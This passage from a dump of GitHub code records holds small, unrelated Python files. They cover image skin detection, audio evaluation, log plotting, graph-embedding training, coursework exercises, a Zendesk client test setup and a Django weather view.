y[o] = 16+0.257*r[o]+0.504*g[o]+0.098*b[o]\r\n cb[o] = 128-0.148*r[o]-0.291*g[o]+0.439*b[o]\r\n cr[o] = 128+0.439*r[o]-0.368*g[o]-0.071*b[o]\r\n return y, cb, cr\r\n\r\ndef predict(array, mean, cov_matrix):\r\n # p formula\r\n cov_det = np.linalg.det(cov_matrix)\r\n cov_inv = np.linalg.inv(cov_matrix)\r\n array_temp = array-mean\r\n coe = 1.0 / (2.0*np.pi*np.sqrt(cov_det)) * np.exp(-1.0/2)\r\n #size: 38804*38804\r\n p_before = coe * np.exp(np.dot(np.dot(array_temp.T,cov_inv),array_temp))\r\n \r\n row2, col2 = array.shape\r\n # 1*38804\r\n p_after = np.zeros(col2)\r\n for i in range(col2):\r\n p_after[i] = p_before[i,i] \r\n max = 0.0\r\n for i in range(col2):\r\n if(max < p_after[i]):\r\n max = p_after[i]\r\n # [0,1]\r\n p_after = p_after / max\r\n\r\n return p_after\r\n\r\ndef reshape(p):\r\n image = np.zeros(p.shape)\r\n image = image.reshape((218,178))\r\n return image\r\n\r\nif __name__ == '__main__': \r\n path = r\"D:\\Finalpython\\AS4\\test.jpg\"\r\n img = cv2.imread(path)\r\n b,g,r = cv2.split(img)\r\n b = b.flatten()\r\n g = g.flatten()\r\n r = r.flatten()\r\n y, cb, cr = readConvert(r,g,b)\r\n\r\n # 调整为二维数组, 行0为cb, 行1为cr, 方便计算\r\n col = len(cb)\r\n array = np.array([cb,cr])\r\n # skin\r\n mean1 = np.array([[109.73134227],[150.51660748]])\r\n cov_matrix1 = np.array([[61.21311916, -58.40563063],[-58.40563063, 80.40434063]])\r\n\r\n # background\r\n mean2 = np.array([[129.31829351],[130.35454377]])\r\n cov_matrix2 = np.array([[146.3295919, -214.58252164],[-214.58252164, 577.66244108]])\r\n \r\n # use two heap maps to show skin and background probabilities of each pixel respectively\r\n p_s = predict(array, mean1, cov_matrix1)\r\n pic_s = reshape(p_s)\r\n p_bg = predict(array, mean2, cov_matrix2)\r\n pic_bg = reshape(p_bg)\r\n\r\n plt.figure()\r\n im_s = plt.imshow(pic_s, cmap=plt.get_cmap('hot'), interpolation='nearest', vmin=0, vmax=1) \r\n plt.colorbar(im_s, shrink=0.2)\r\n plt.show()\r\n\r\n plt.figure()\r\n im_bg = plt.imshow(pic_bg, cmap=plt.get_cmap('hot'), interpolation='nearest', vmin=0, vmax=1) \r\n plt.colorbar(im_bg, shrink=0.2)\r\n plt.show()\r\n\r\n img_gray = pic_s * 255\r\n cv2.imshow('gray', img_gray)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()\r\n","repo_name":"MelanthaWang246/Computer-Vision","sub_path":"AS5_3.py","file_name":"AS5_3.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22329313744","text":"from ssr_eval import SSR_Eval_Helper, BasicTestee\n\n# You need to implement a class for the model to be evaluated.\nclass MyTestee(BasicTestee):\n def __init__(self) -> None:\n super().__init__()\n\n # You need to implement this function\n def infer(self, x):\n \"\"\"A testee that do nothing\n\n Args:\n x (np.array): [sample,], with model_input_sr sample rate\n target (np.array): [sample,], with model_output_sr sample rate\n\n Returns:\n np.array: [sample,]\n \"\"\"\n return x\n\ndef test():\n testee = MyTestee()\n # Initialize a evaluation helper\n helper = SSR_Eval_Helper(\n testee,\n test_name=\"unprocessed\", # Test name for storing the result\n input_sr=44100, # The sampling rate of the input x in the 'infer' function\n output_sr=44100, # The sampling rate of the output x in the 'infer' function\n evaluation_sr=48000, # The sampling rate to calculate evaluation metrics.\n setting_fft={\n \"cutoff_freq\": [\n 12000\n ], # The cutoff frequency of the input x in the 'infer' function\n },\n save_processed_result=True\n )\n # Perform evaluation\n helper.evaluate(limit_test_nums=10, limit_test_speaker=-1)\n","repo_name":"haoheliu/ssr_eval","sub_path":"ssr_eval/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"18"} +{"seq_id":"36863139054","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\n Plot data from a csv log file using matplotlib.\n See inline help for more info.\n'''\n\nimport argparse\nimport os\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom fnmatch import filter\n\nfrom .log_loader import LogLoader\n\ndef main():\n description_str = \"Plot data from a csv log file.\\n\" + \\\n \"Specify a list of headers, separated by a colon for plotting on the same subplot.\\n\" + \\\n \"Example: h1 h2:h3 generates two subplots, one with h1, one with h2 and h3.\\n\"\n\n parser = argparse.ArgumentParser(description = description_str, formatter_class = argparse.RawTextHelpFormatter)\n parser.add_argument(\"input\", help = \"Input csv log file, or keyword 'latest'.\")\n parser.add_argument(\"-nt\", \"--notime\", required = False, default = False, action = \"store_true\",\n help = \"If set, using index number for X axis instead of time.\")\n main_arguments, plotting_commands = parser.parse_known_args()\n\n # Load log file.\n # Process latest argument.\n logname = main_arguments.input\n if logname == 'latest':\n logfiles = [i for i in os.listdir('.') if 'log' in i]\n logname = sorted(logfiles)[-1]\n print(\"Loading log: {}\".format(logname))\n logfile = LogLoader(logname)\n\n if len(plotting_commands) == 0:\n print(\"Available data:\")\n for h in logfile.headers:\n print(\" - {}\".format(h))\n exit(0)\n\n # Parse plotting arguments.\n plotted_elements = []\n for cmd in plotting_commands:\n # Check that the command is valid, i.e. that all elements exits. If it is the case, add it to the list.\n headers = cmd.split(\":\")\n # Expand each element according to regular expression.\n matching_headers = []\n for h in headers:\n matching_headers.append(sorted(filter(logfile.headers, h)))\n # Get minimum size for number of subplots.\n n_subplots = min([len(l) for l in matching_headers])\n for i in range(n_subplots):\n plotted_elements.append([l[i] for l in matching_headers])\n\n\n # Create figure.\n n_plot = len(plotted_elements)\n\n # Arrange plot in rectangular fashion: don't allow for n_cols to be more than n_rows + 2\n n_cols = n_plot\n n_rows = 1\n while n_cols > n_rows + 2:\n n_rows = n_rows + 1\n n_cols = np.ceil(n_plot / (1.0 * n_rows))\n\n fig, axs = plt.subplots(nrows=int(n_rows), ncols=int(n_cols), sharex = True)\n\n if n_plot == 1:\n axs = np.array([axs])\n axs = axs.flatten()\n\n plt.suptitle(logfile.log_name + \"\\nFile: \" + logfile.filename)\n # X axis: time or simple index, based on user input.\n if main_arguments.notime:\n x_values = range(len(logfile.data[logfile.headers[0]]))\n else:\n x_values = logfile.data['time']\n # Plot each element.\n for i in range(n_plot):\n for name in plotted_elements[i]:\n axs[i].plot(x_values, logfile.data[name], label = name)\n # Add legend to upper left corner.\n for ax in axs:\n ax.legend(bbox_to_anchor=(1.0, 1.0), loc = 1)\n ax.grid()\n plt.subplots_adjust(bottom=0.05, top=0.92, left=0.06, right=0.98, wspace=0.1, hspace=0.05)\n plt.show()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Siviuze/CL4P-TP","sub_path":"simulation/src/claptrap_simu/log_handling/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7383431649","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 27 19:18:27 2019\r\n\r\n@author: Shen xiao\r\n\r\nPlease cite our paper as:\r\n\"Xiao Shen, Quanyu Dai, Fu-lai Chung, Wei Lu, and Kup-Sze Choi. Adversarial Deep Network Embedding for Cross-Network Node Classification. In Proceedings of AAAI Conference on Artificial Intelligence (AAAI), pages 2991-2999, 2020.\"\r\n\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport tensorflow as tf\r\nimport utils\r\nfrom scipy.sparse import vstack\r\nfrom functools import partial\r\nimport scipy.io\r\nfrom scipy.sparse import lil_matrix\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.sparse import csc_matrix\r\nfrom ACDNE_model import ACDNE\r\n\r\n\r\n\r\n\r\ndef train_and_evaluate(input_data, config, random_state=0):\r\n \r\n ###get input data\r\n PPMI_s=input_data['PPMI_S']\r\n PPMI_t=input_data['PPMI_T']\r\n X_s=input_data['attrb_S']\r\n X_t=input_data['attrb_T']\r\n X_n_s= input_data['attrb_nei_S']\r\n X_n_t=input_data['attrb_nei_T']\r\n Y_s=input_data['label_S']\r\n Y_t=input_data['label_T'] \r\n Y_t_o=np.zeros(np.shape(Y_t)) #observable label matrix of target network, all zeros\r\n \r\n X_s_new=lil_matrix(np.concatenate((lil_matrix.toarray(X_s), X_n_s),axis=1)) \r\n X_t_new=lil_matrix(np.concatenate((lil_matrix.toarray(X_t), X_n_t),axis=1)) \r\n n_input = X_s.shape[1]\r\n num_class = Y_s.shape[1] \r\n num_nodes_S=X_s.shape[0]\r\n num_nodes_T=X_t.shape[0]\r\n \r\n\r\n \r\n ###model config\r\n clf_type = config['clf_type'] \r\n dropout = config['dropout'] \r\n num_epoch = config['num_epoch'] \r\n batch_size = config['batch_size']\r\n n_hidden = config['n_hidden'] \r\n n_emb = config['n_emb'] \r\n l2_w = config['l2_w'] \r\n net_pro_w = config['net_pro_w'] \r\n emb_filename = config['emb_filename'] \r\n lr_ini = config['lr_ini'] \r\n\r\n\r\n whole_xs_xt_stt = utils.csr_2_sparse_tensor_tuple(vstack([X_s, X_t])) \r\n whole_xs_xt_stt_nei = utils.csr_2_sparse_tensor_tuple(vstack([X_n_s, X_n_t]))\r\n \r\n with tf.Graph().as_default():\r\n # Set random seed\r\n tf.set_random_seed(random_state)\r\n np.random.seed(random_state)\r\n \r\n model = ACDNE(n_input, n_hidden, n_emb, num_class, clf_type, l2_w, net_pro_w, batch_size)\r\n \r\n with tf.Session() as sess:\r\n # Random initialize\r\n sess.run(tf.global_variables_initializer())\r\n\r\n\r\n for cEpoch in range(num_epoch): \r\n S_batches = utils.batch_generator([X_s_new,Y_s], int(batch_size / 2), shuffle=True)\r\n T_batches = utils.batch_generator([X_t_new,Y_t_o], int(batch_size / 2), shuffle=True) \r\n \r\n num_batch=round(max(num_nodes_S/(batch_size/2),num_nodes_T/(batch_size/2)))\r\n \r\n # Adaptation param and learning rate schedule as described in the DANN paper \r\n p=float(cEpoch) / (num_epoch)\r\n lr=lr_ini / (1. + 10 * p)**0.75 \r\n grl_lambda =2. / (1. + np.exp(-10. * p)) - 1 #gradually change from 0 to 1\r\n \r\n ##in each epoch, train all the mini batches\r\n for cBatch in range(num_batch):\r\n ### each batch, half nodes from source network, and half nodes from target network\r\n xs_ys_batch, shuffle_index_s = next(S_batches)\r\n xs_batch=xs_ys_batch[0]\r\n ys_batch =xs_ys_batch[1]\r\n \r\n xt_yt_batch, shuffle_index_t = next(T_batches)\r\n xt_batch=xt_yt_batch[0]\r\n yt_batch =xt_yt_batch[1] \r\n \r\n x_batch = vstack([xs_batch, xt_batch])\r\n batch_csr=x_batch.tocsr()\r\n xb=utils.csr_2_sparse_tensor_tuple(batch_csr[:,0:n_input])\r\n xb_nei=utils.csr_2_sparse_tensor_tuple(batch_csr[:,-n_input:]) \r\n yb = np.vstack([ys_batch, yt_batch])\r\n \r\n mask_L=np.array(np.sum(yb, axis=1)>0, dtype=np.float)#1 if the node is with observed label, 0 if the node is without label \r\n domain_label = np.vstack([np.tile([1., 0.], [batch_size // 2, 1]),np.tile([0., 1.], [batch_size // 2, 1])]) #[1,0] for source, [0,1] for target\r\n\r\n ##topological proximity matrix between nodes in each mini-batch\r\n a_s, a_t=utils.batchPPMI(batch_size,shuffle_index_s,shuffle_index_t,PPMI_s,PPMI_t)\r\n \r\n _ ,tloss= sess.run([model.train_op,model.total_loss], feed_dict={model.X: xb, model.X_nei:xb_nei, model.y_true: yb, model.d_label: domain_label, model.A_s: a_s, model.A_t: a_t, model.mask:mask_L, model.learning_rate: lr, model.Ada_lambda:grl_lambda, model.dropout:dropout})\r\n\r\n \r\n\r\n \r\n '''Compute evaluation on test data by the end of each epoch''' \r\n pred_prob_xs_xt= sess.run(model.pred_prob, feed_dict={model.X:whole_xs_xt_stt, model.X_nei:whole_xs_xt_stt_nei, model.Ada_lambda:1.0, model.dropout:0.}) \r\n pred_prob_xs=pred_prob_xs_xt[0:num_nodes_S,:]\r\n pred_prob_xt=pred_prob_xs_xt[-num_nodes_T:,:]\r\n \r\n print ('epoch: ', cEpoch+1) \r\n F1_s=utils.f1_scores(pred_prob_xs,Y_s)\r\n print('Source micro-F1: %f, macro-F1: %f' %(F1_s[0],F1_s[1])) \r\n F1_t=utils.f1_scores(pred_prob_xt,Y_t)\r\n print('Target testing micro-F1: %f, macro-F1: %f' %(F1_t[0],F1_t[1]))\r\n \r\n \r\n \r\n \r\n ''' save final evaluation on test data by the end of all epoches'''\r\n micro=float(F1_t[0])\r\n macro=float(F1_t[1]) \r\n \r\n \r\n \r\n ##save embedding features\r\n## emb= sess.run(model.emb, feed_dict={model.X: whole_xs_xt_stt, model.X_nei:whole_xs_xt_stt_nei, model.Ada_lambda:1.0, model.dropout:0.})\r\n## hs=emb[0:num_nodes_S,:]\r\n## ht=emb[-num_nodes_T:,:]\r\n## print(np.shape(hs))\r\n## print(np.shape(ht)) \r\n## scipy.io.savemat(emb_filename+'_emb.mat', {'rep_S':hs, 'rep_T':ht})\r\n\r\n \r\n \r\n return micro,macro\r\n\r\n\r\n\r\n\r\n","repo_name":"shenxiaocam/ACDNE","sub_path":"ACDNE_codes/evalModel.py","file_name":"evalModel.py","file_ext":"py","file_size_in_byte":6382,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"} +{"seq_id":"1074429389","text":"\n# 다리를 지나는 트럭\n\nfrom collections import deque\n\nfrom collections import deque\n\n# O(M+N)\ndef solution(bridge_length, weight, truck_weights): \n answer = 0\n bridge = deque([0] * bridge_length)\n current_weight = 0\n trucks = deque(truck_weights)\n while trucks:\n answer += 1\n current_weight -= bridge.popleft()\n if current_weight + trucks[0] <= weight: # if sum(bridge) + trucks[0] <= weight:\n current_weight += trucks[0]\n bridge.append(trucks.popleft())\n else:\n bridge.append(0)\n answer += bridge_length\n return answer\n","repo_name":"JiSuMun/Algorithm-Study","sub_path":"W02/shureeshu/42583_다리를지나는트럭.py","file_name":"42583_다리를지나는트럭.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"38042042142","text":"import phonenumbers\n\nfrom phonenumbers import timezone, geocoder, carrier\n\nnumber = input(\"enter number: +91 \")\n\nnum = phonenumbers.parse(number)\n\ntime = timezone.time_zones_for_number(num)\n\ncar = carrier.name_for_number(num,\"en\")\n\nged = geocoder.description_for_number(num,\"en\")\n\nprint(num)\nprint(time)\nprint(car)\nprint(ged)\n\n","repo_name":"Jit562/python-project","sub_path":"python_to_exe.py","file_name":"python_to_exe.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20182699225","text":"import os\nfrom glob import glob\nimport cv2\nfrom multiprocessing import pool\nfrom multiprocessing.dummy import Pool as ThreadPool\n\n# This script downscales images to 240x240 to make it faster to transmit to the cloud gpu for training\npsychic_learners_dir = os.path.split(os.getcwd())[0]\nINPUT_DIRECTORY_NAME = 'test'\nsmall_categories = [[1, 0, 7, 14, 2, 8, 5, 4, 13, 11, 15, 3, 10, 9, 6, 16, 12],\n [23, 27, 18, 20, 24, 22, 19, 26, 25, 29, 28, 17, 21, 30],\n [35, 53, 40, 39, 52, 45, 31, 51, 49, 56, 38, 34, 46, 33, \n 57, 37, 55, 32, 42, 44, 50, 36, 43, 54, 41, 47, 48]]\n\n\ndef resize_image(input_path):\n im = cv2.imread(input_path)\n small_im = cv2.resize(im, (240, 240), interpolation=cv2.INTER_AREA)\n category, filename = os.path.split(input_path)\n category = os.path.split(category)[-1]\n cv2.imwrite(os.path.join(output_directory,\n category, filename), small_im)\n\ndef resize_test_image(input_path):\n im = cv2.imread(input_path)\n small_im = cv2.resize(im, (240, 240), interpolation=cv2.INTER_AREA)\n _, filename = os.path.split(input_path)\n cv2.imwrite(os.path.join(output_directory, filename), small_im)\n\n\"\"\"\nfor n, big_category in enumerate(['beauty', 'fashion', 'mobile']):\n input_directory = os.path.join(psychic_learners_dir, 'data', 'image', INPUT_DIRECTORY_NAME, big_category)\n output_directory = os.path.join(psychic_learners_dir, 'data', 'image', INPUT_DIRECTORY_NAME + '_240x240', big_category)\n \n if not os.path.isdir(output_directory):\n for i in small_categories[n]: \n os.makedirs(os.path.join(output_directory, str(i)), exist_ok=True)\n \n\n imagesList = glob(os.path.join(input_directory, '**', '*.jpg'), recursive=True)\n pool = ThreadPool(6)\n pool.map(resize_image, imagesList)\"\"\"\n\ninput_directory = os.path.join(psychic_learners_dir, 'data', 'image', INPUT_DIRECTORY_NAME)\noutput_directory = os.path.join(psychic_learners_dir, 'data', 'image', INPUT_DIRECTORY_NAME + '_240x240')\nos.makedirs(output_directory, exist_ok=True)\nimagesList = glob(os.path.join(input_directory, '*.jpg'))\npool = ThreadPool(6)\npool.map(resize_test_image, imagesList)\n","repo_name":"sun-yitao/PsychicLearners","sub_path":"data_utils/multiprocessing_image_resize.py","file_name":"multiprocessing_image_resize.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"6656625854","text":"# write a program to define a set :\n# 1-add three elements to the set\n# 2-print the elements to the set\n# 3-update the set with two new elements from a list\n# 4-ask the user to remove N elemenets from the set\n# 5-ask the user whether he wants to clear or remove the set then print it\n\nthiset=set(())\nfor i in range (3):\n n=input(\"enter a number:\")\n thiset.add(n)\nprint(thiset)\n\nmylist=[5,6]\nthiset.update(mylist)\nprint(thiset)\n\na=int(input(\"remove N element:\"))\nfor i in range(a):\n thiset.pop()\nprint(thiset)\n\nb=input(\"you want to clear or remove the set:\")\nif b==\"clear\":\n thiset.clear()\n print(thiset)\nelse:\n del thiset\n print(thiset)\n","repo_name":"jinanhj/ruwwad-dst-2021-2","sub_path":"set.py","file_name":"set.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"69958209001","text":"import matplotlib.pyplot as plt \nimport math\nimport pickle\n\ndef segregate(prods,n_prods,alpha):\n\t\tS1,S2,S3,S4 = [],[],[],[]\n\t\tfor i in range(n_prods):\n\t\t\tprod = prods[i]\n\t\t\tif(prod.q>=alpha and prod.r>=0):\n\t\t\t\tS1.append(prod)\n\t\t\telif(prod.q>alpha and prod.r<0):\n\t\t\t\tS2.append(prod)\n\t\t\telif(prod.q0):\n\t\t\t\tS3.append(prod)\n\t\t\telse:\n\t\t\t\tS4.append(prod)\n\t\treturn S1,S2,S3,S4\n\ndef allocate(x,obj,quant):\n\tobj.k_rem -= quant\n\tx[obj.index] += quant\n\treturn x\n\ndef get_optimal_allocation(prods,n_prods,alpha):\n\tS1,S2,S3,S4 = segregate(prods,n_prods,alpha)\n\t# print(\"S1 : %d, S2 : %d, S3 : %d, S4 : %d\" %(len(S1),len(S2),len(S3),len(S4)))\n\tx = [0 for i in range(n_prods)]\n\td = 0\n\t\n\tfor prod in S1 :\n\t\tx = allocate(x,prod,prod.k)\n\t\td = d + prod.k*(prod.q-alpha)\n\t# print(\"After allocating to S1, excess quality : %f\" %(d))\n\n\tS2.sort(key=lambda x: x.r/(alpha-x.q))\n\tS3.sort(key=lambda x: x.r/(alpha-x.q), reverse=True)\n\n\tp,q=0,0\n\n\twhile d>0 and p=val3 :\n\t\t\tbreak\n\n\t\tratio = abs((alpha-prod2.q) / (alpha-prod3.q))\n\t\t# print(prod2.q,prod3.q,ratio)\n\t\tw2 = prod2.k_rem\n\t\tw3 = prod2.k_rem*ratio\n\t\tif(w3>prod3.k_rem):\n\t\t\t# print(\"Product 3 is the limiting manufacturer\")\n\t\t\tw3 = prod3.k_rem\n\t\t\tw2 = prod3.k_rem/ratio\n\t\t# w = min(prod1.k_rem/(alpha-prod1.q),prod2.k_rem/(alpha-prod2.q))\n\t\t# print(\"Taking the following quantities :\",w2,w3,sep=\" \")\n\t\tx = allocate(x,prod2,w2)\n\t\tx = allocate(x,prod3,w3)\n\t\tif prod2.k_rem == 0 :\n\t\t\tq += 1\n\t\tif prod3.k_rem == 0 :\n\t\t\tp += 1\n\treturn x,d\n\ndef myPlot(df,title,filepath):\n\tplt.plot(df)\n\tplt.title(title)\n\tplt.savefig(filepath+\".png\")\n\tplt.close()\n\n\ndef myPlotxy(dfx,dfy,title,filepath):\n\tplt.plot(dfx,dfy)\n\tplt.title(title)\n\tplt.savefig(filepath)\n\tplt.close()\n\n# def myPlotlog(dfy,title,filepath):\n# \tfig = plt.figure()\n# \tax = fig.add_subplot(1, 1, 1)\n# \tline, = ax.plot(dfy)\n# \tax.set_yscale('log')\n# \tplt.title(title)\n# \tplt.savefig(filepath+\".png\")\n# \tplt.close()\n\ndef myPlotlog(dfy,title,filepath):\n\tfig = plt.figure()\n\tax = fig.add_subplot(1, 1, 1)\n\tline, = ax.plot(dfy)\n\tT = len(dfy)\n\tdfx = [math.log(i+1) for i in range(T)]\n\tplt.plot(dfx,dfy)\n\tplt.title(title)\n\tplt.savefig(filepath+\".png\")\n\tplt.close()\n\ndef myPlot2(xmax,df,actualVal,title,filepath):\n\tplt.axhline(y=actualVal)\n\tplt.plot(df)\n\tplt.ylim((0,5))\n\tprint(\"Actual Value : \",actualVal)\n\tplt.title(title)\n\tplt.savefig(filepath+\".png\")\n\tplt.close()\n\ndef saveVar(var,filename):\n\twith open(filename,'wb') as f:\n\t\tpickle.dump(var,f)","repo_name":"ayushdeva/Subset-Selection","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21832322894","text":"import sqlite3\n\n\n# backend\n\n\n\ndef addStdRec(StdID, Name, Branch, Gender, DoB, Mobile,Email):\n con = sqlite3.connect(\"studentrecord.db\")\n cur = con.cursor()\n cur.execute(\"INSERT INTO studentmanagement VALUES (NULL,?,?,?,?,?,?,?) \",(StdID, Name, Branch, Gender, DoB, Mobile,Email))\n con.commit()\n con.close()\n\n\ndef deleteRec(id):\n con = sqlite3.connect(\"studentrecord.db\")\n cur = con.cursor()\n cur.execute(\"DELETE FROM studentmanagement WHERE id=?\", (id,))\n con.commit()\n con.close()\n\n\n\n\n","repo_name":"Thunderbolt9/Student-Management-system","sub_path":"backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"9163700472","text":"import base64\nimport json\n\nimport os\nimport requests\nfrom betamax import Betamax\nfrom betamax.matchers import URIMatcher\nfrom betamax_serializers.pretty_json import PrettyJSONSerializer\n\nfrom zenpy import Zenpy\n\ncred_path = os.path.expanduser(\"~/zenpy-test-credentials.json\")\n\nif os.path.exists(cred_path):\n with open(cred_path) as f:\n credentials = json.load(f)\nelse:\n credentials = {\n \"subdomain\": \"d3v-zenpydev\",\n \"email\": \"example@example.com\",\n \"token\": \"not really a token\",\n }\n\n\ndef chunk_action(iterable, action, wait_action=None, ignore_func=None, batch_size=100):\n \"\"\"\n Ensure action is executed on chunks not greater than batch_size elements.\n If the callable wait_action is not None, it will be passed the results of\n executing action.\n \"\"\"\n batch = list()\n\n def process_batch():\n batch_len = len(batch)\n result = action(batch)\n if wait_action:\n wait_action(result)\n del batch[:]\n return batch_len\n\n count = 0\n for n, item in enumerate(iterable, start=1):\n if n % batch_size == 0:\n if ignore_func and not ignore_func(item):\n batch.append(item)\n count += process_batch()\n else:\n batch.append(item)\n if batch:\n count += process_batch()\n return count\n\n\ndef setup_package():\n print(\"setup_package called\")\n\n\ndef assert_empty(iterable, message, ignore_func=None):\n if not ignore_func and len(iterable) > 0:\n raise Exception(message)\n for zenpy_object in iterable:\n if not ignore_func(zenpy_object):\n raise Exception(message)\n\n\ndef teardown_package():\n pass\n # print(\"teardown_package called\")\n # zenpy_client, recorder = configure()\n # with recorder.use_cassette(\n # cassette_name=\"teardown_package\", serialize_with=\"prettyjson\"\n # ):\n # n = chunk_action(zenpy_client.tickets(), zenpy_client.tickets.delete)\n # print(\"Deleted {} tickets\".format(n))\n # n = chunk_action(\n # zenpy_client.users(),\n # zenpy_client.users.delete,\n # ignore_func=lambda x: x.role == \"admin\",\n # )\n # print(\"Deleted {} users\".format(n))\n\n\ndef configure():\n config = Betamax.configure()\n config.cassette_library_dir = \"tests/test_api/betamax/\"\n config.default_cassette_options[\"record_mode\"] = \"once\"\n config.default_cassette_options[\"match_requests_on\"] = [\"method\", \"path_matcher\"]\n if credentials:\n auth_key, template = (\"token\", \"{}/token:{}\") if \"token\" in credentials else (\"password\", \"{}:{}\")\n config.define_cassette_placeholder(\n \"\",\n base64.b64encode(\n template.format(\n credentials[\"email\"], credentials[auth_key]\n ).encode(\"utf-8\")\n ).decode('utf-8'),\n )\n if credentials[\"subdomain\"] != \"d3v-zenpydev\":\n config.define_cassette_placeholder(\n \"d3v-zenpydev.zendesk.com\",\n \"{}.zendesk.com\".format(credentials[\"subdomain\"])\n )\n\n session = requests.Session()\n credentials[\"session\"] = session\n zenpy_client = Zenpy(**credentials)\n recorder = Betamax(session=session)\n\n class PathMatcher(URIMatcher):\n \"\"\"\n I use trial accounts for testing Zenpy and as such the subdomain is always changing.\n This matcher ignores the netloc section of the parsed URL which prevents the tests\n failing when the subdomain is changed.\n \"\"\"\n\n name = \"path_matcher\"\n\n def parse(self, uri):\n parse_result = super(PathMatcher, self).parse(uri)\n parse_result.pop(\"netloc\")\n return parse_result\n\n Betamax.register_request_matcher(PathMatcher)\n recorder.register_serializer(PrettyJSONSerializer)\n return zenpy_client, recorder\n","repo_name":"facetoe/zenpy","sub_path":"tests/test_api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3920,"program_lang":"python","lang":"en","doc_type":"code","stars":312,"dataset":"github-code","pt":"18"} +{"seq_id":"12714823440","text":"import heapq as hq, sys\n\ninput = sys.stdin.readline\nmin_heap = []\n'''\nhint \nmin_heap에 튜플로 값을 넣으면 \n튜플의 첫번째 인자로 min 하고, 끝나면 두번째 인자로 min 비교해줌\n'''\n\nn = int(input())\nfor _ in range(n):\n x = int(input())\n if x : \n hq.heappush(min_heap, (abs(x), x))\n else:\n if min_heap:\n print(hq.heappop(min_heap)[1])\n else:\n print(\"0\")\n","repo_name":"YejinRhee/2022_2","sub_path":"BOJ/20220826_11286_again.py","file_name":"20220826_11286_again.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36100884508","text":"from django.shortcuts import render\nfrom decouple import config\nimport requests\nfrom datetime import datetime\nfrom .forms import CityForm\nfrom django.contrib import messages\nfrom pytz import timezone\n\n\n\ndef weather(request):\n\n if request.method == 'POST':\n # create a form instance and populate it with data from the request:\n form = CityForm(request.POST)\n # check whether it's valid:\n if form.is_valid():\n try:\n city = request.POST.get('city')\n key = config('API_KEY')\n units = '&units=metric'\n url = 'https://api.openweathermap.org/data/2.5/weather?q='\n resp = requests.get(url + city + '&appid=' + key + units)\n tr = int(resp.json()['dt'])\n timefetched = (datetime.fromtimestamp(tr).strftime('%H:%M'))\n visibility = resp.json()['visibility'] / 1000\n time = datetime.now()\n\n context = {\n 'context':resp.json(),\n 'timefetched':timefetched,\n 'time':time,\n 'visibility': visibility,\n 'form': CityForm\n }\n except:\n if resp.status_code != 200:\n context = {\n 'form': CityForm\n }\n messages.warning(request, 'Please enter a valid city!') \n return render(request, 'weather/weather.html', context)\n\n\n\n else:\n try:\n city = 'Sheffield'\n key = config('API_KEY')\n units = '&units=metric'\n url = 'https://api.openweathermap.org/data/2.5/weather?q='\n resp = requests.get(url + city + units + '&appid=' + key)\n tr = int(resp.json()['dt'])\n timefetched = (datetime.fromtimestamp(tr).strftime('%H:%M'))\n visibility = resp.json()['visibility'] / 1000\n time = datetime.now()\n\n context = {\n 'context':resp.json(),\n 'timefetched':timefetched,\n 'time':time,\n 'visibility': visibility,\n 'form': CityForm\n }\n except:\n context = {\n 'form': CityForm\n }\n messages.warning(request, 'No Connection to weather service')\n return render(request, 'weather/weather.html', context)\n\n\n return render(request, 'weather/weather.html', context)\n","repo_name":"st3nic/weatherapp","sub_path":"weather/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"75191429801","text":"lst = 1, 2, 3, (4, 5)\n\na, b, c, d = lst\nprint(d) # (4, 5)\n\n# what if we need to unpack all values?\n# we need to do a deep unpacking:\n\na, b, c, (d, e) = lst\nprint(d) # 4\n\n\n# very deep unpacking 🤣\nt = 1, 2, 3, (4, (5, 6))\na, b, c, (d, (e, f)) = t\n\nprint(e, f) # 5, 6\n","repo_name":"baraahekal/python-training","sub_path":"deep_unpacking.py","file_name":"deep_unpacking.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24828641261","text":"import math\n\nserver_hostname = \"Tegas-MacBook-Pro.local\"\ndiscovery_multicastGroup = \"224.3.29.71\"\ndiscovery_multicastPort = 10010\ndiscovery_responsePort = 10011\npubsub_pubPort = 10012\npubsub_pubPort2 = 10014\n\nclient_names = [\n \"wetlands-environment-1\",\n \"wetlands-environment-2\",\n \"wetlands-environment-3\",\n]\n\nserver_names = [\n 